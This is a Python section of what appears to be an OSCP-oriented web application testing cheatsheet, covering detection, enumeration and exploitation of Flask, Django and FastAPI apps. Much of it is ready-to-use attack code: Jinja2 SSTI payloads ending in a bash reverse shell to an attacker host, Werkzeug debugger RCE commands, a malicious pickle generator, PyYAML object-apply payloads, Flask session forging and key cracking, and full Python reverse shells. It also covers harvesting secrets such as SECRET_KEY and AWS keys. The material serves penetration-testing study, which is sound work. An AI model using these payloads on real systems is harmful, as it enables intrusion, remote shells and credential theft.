Skip to main content

Python

Part of 03 Languages in the Web Application Testing Cheatsheet.

Contents:


1. Detection​

1.1 Headers and cookies​

Header / cookieIndicates
Server: gunicornFlask / Django / FastAPI (WSGI/ASGI)
Server: uvicornFastAPI / Starlette
Server: Werkzeug/2.2.2 Python/3.10.6Flask dev server (version visible)
X-Powered-By: FlaskFlask
Set-Cookie: session=...Flask (signed cookie)
Set-Cookie: csrftoken=...; sessionid=...Django
Set-Cookie: session=.eJw...Flask (JWT-like, base64)
Server: TwistedWebTwisted

1.2 Error messages​

Error textFramework
Werkzeug DebuggerFlask debug mode (interactive console!)
Traceback (most recent call last):Any Python
django.core.exceptionsDjango
jinja2.exceptionsJinja2 (Flask, generic)
pydantic.error_wrappersFastAPI
sqlalchemy.excSQLAlchemy

1.3 File extensions and paths​

  • .py, .pyc, .pyo, .pyd
  • /__pycache__/ - bytecode cache
  • /static/, /templates/ - Django/Flask structure
  • /requirements.txt, /Pipfile, /pyproject.toml

2. Enumeration​

2.1 Common files​

PathPurpose
/requirements.txtDependency list with versions
/Pipfile.lockExact versions
/pyproject.tomlPoetry / PEP 518
/settings.pyDjango settings (SECRET_KEY, DB creds)
/.envDB creds, API keys
/app.py, /main.py, /wsgi.pyEntry points
/debug.logFlask/Django logs

2.2 Werkzeug debugger (critical)​

If Server: Werkzeug and any error triggers a page with Werkzeug Debugger - you have an interactive Python console in the browser.

# Confirm debug mode
curl -s http://<TARGET>/nonexistent | grep -i "Werkzeug Debugger"

IMPORTANT

OSCP report: take a screenshot of the Werkzeug debugger page (command + output + timestamp). This is a direct RCE primitive.

2.3 Jinja2 SSTI probe​

# Math test
curl "http://<TARGET>/?name={{7*7}}"
# Response: 49 -> Jinja2 SSTI confirmed
# flask-unsign
pip3 install flask-unsign
flask-unsign --decode --cookie "eyJ1c2VyIjoiYWRtaW4ifQ.Y..."
flask-unsign --unsign --cookie "<cookie>" --wordlist /usr/share/wordlists/rockyou.txt

3. Known CVEs​

CVEAffectedImpactNVD
CVE-2019-14322Django < 2.2.4SQL injection via FilteredSelectMultiplehttps://nvd.nist.gov/vuln/detail/CVE-2019-14322
CVE-2021-45115Django 2.2-4.0DoS in UserAttributeSimilarityValidatorhttps://nvd.nist.gov/vuln/detail/CVE-2021-45115
CVE-2021-33026Flask-Session < 0.3.0Pickle deserialization in cookiehttps://nvd.nist.gov/vuln/detail/CVE-2021-33026
CVE-2019-10906Jinja2 < 2.10.1str.format_map sandbox escapehttps://nvd.nist.gov/vuln/detail/CVE-2019-10906
CVE-2024-34064Jinja2 < 3.1.4XML attribute injectionhttps://nvd.nist.gov/vuln/detail/CVE-2024-34064
CVE-2022-24856FastAPI < 0.65.2DoS via malformed requesthttps://nvd.nist.gov/vuln/detail/CVE-2022-24856

4. Exploitation patterns​

4.1 SSTI in Jinja2 (Flask)​

Detection:

{{7*7}} -> 49
{{7*'7'}} -> 7777777
${7*7} -> literal (not Jinja2)

RCE via Jinja2:

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ lipsum.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

Full RCE shell (Jinja2):

{{ config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"').read() }}

Bypass tricks:

FilterBypass
{{ }} blockedUse {% ... %} or .
.__ blockedUse ['__class__'], attr filter: |attr('__class__')
_ blockedUse \x5f (hex escape)
config blockedUse self, request, lipsum

Full payload list: see PayloadsAllTheThings / Server Side Template Injection.

4.2 Werkzeug debugger RCE​

If Werkzeug Debugger page is visible:

  1. Trigger an exception (e.g. /nonexistent, ?x=).
  2. In the traceback, click the console icon next to any frame.
  3. Enter the PIN (see below) or use the console directly if PIN is disabled.

PIN bypass (if you have file read / can compute the PIN):

The PIN is derived from username, modname, getattr(app, 'name'), app.root_path, uuid.getnode() (MAC address), and get_machine_id() (from /etc/machine-id or /proc/sys/kernel/random/boot_id).

Generator: werkzeug-debug-pin or manual computation.

Direct RCE if PIN is known / debugger unlocked:

import os; os.popen('id').read()
__import__('os').system('bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"')

4.3 Deserialization (pickle)​

Python pickle on user input = RCE. Common sinks:

pickle.loads(request.cookies.get('session'))
pickle.load(open(user_file, 'rb'))

Generate malicious pickle:

python3 -c "
import pickle, os, base64
class RCE:
def __reduce__(self):
return (os.system, ('bash -c \"bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1\"',))
print(base64.b64encode(pickle.dumps(RCE())).decode())
"

4.4 YAML deserialization​

yaml.load(user_input) # RCE in PyYAML < 5.1

Payload:

!!python/object/apply:os.system ["id"]
!!python/object/apply:subprocess.check_output [["id"]]

Note: yaml.safe_load is safe. Only yaml.load without Loader=SafeLoader is vulnerable.

4.5 Command injection​

Common sinks:

os.system(cmd)
os.popen(cmd)
subprocess.run(cmd, shell=True)
subprocess.Popen(cmd, shell=True)
eval(input)
exec(input)

shell=True + user input = command injection. Even with list args, subprocess.run(['ls', user_input]) is unsafe if shell chars are not filtered.

4.6 SQL injection (raw SQL)​

cursor.execute(f"SELECT * FROM users WHERE name='{name}'") # vulnerable
cursor.execute("SELECT * FROM users WHERE name=%s", (name,)) # safe

Django ORM: .raw(), .extra() with user input = vulnerable.

If SECRET_KEY leaks (from settings.py, .env, config.py), forge a session:

flask-unsign --sign --cookie "{'user':'admin','role':'admin'}" --secret '<SECRET_KEY>'

Brute force the key:

flask-unsign --unsign --cookie "<cookie>" --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval

5. Framework-specific​

5.1 Flask​

  • app.py - main file
  • templates/ - Jinja2 templates
  • static/ - static files
  • /console - Werkzeug console (if debug)
  • SECRET_KEY in app.config

5.2 Django​

  • settings.py - SECRET_KEY, DATABASES, ALLOWED_HOSTS
  • urls.py - routes
  • views.py - controllers
  • /admin/ - admin panel (default creds often)
  • DEBUG = True - verbose errors

5.3 FastAPI​

  • main.py - entry point
  • /docs, /redoc - auto-generated API docs (Swagger, ReDoc)
  • /openapi.json - schema
  • Pydantic validation errors reveal field names

5.4 uvicorn / gunicorn​

  • Server: uvicorn - ASGI (FastAPI, Starlette)
  • Server: gunicorn - WSGI (Flask, Django)

6. Post-exploitation​

6.1 Read config files​

/app/settings.py
/app/config.py
/app/.env
/app/app.py
/var/www/app/settings.py

Look for: SECRET_KEY, DATABASE_URL, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY.

6.2 Django admin credentials​

/admin/ with default creds (admin/admin, admin/password) or from settings.py.

6.3 Python reverse shell​

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<LHOST>",<LPORT>))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])

One-liner:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

7. OSCP notes​

IMPORTANT

OSCP report: screenshot the framework fingerprint (Server header, error page) that identifies Python.

IMPORTANT

OSCP report: screenshot SSTI detection ({{7*7}} -> 49) and the RCE payload output.

IMPORTANT

OSCP report: screenshot the moment of RCE (Werkzeug console, SSTI shell, pickle payload).


8. References​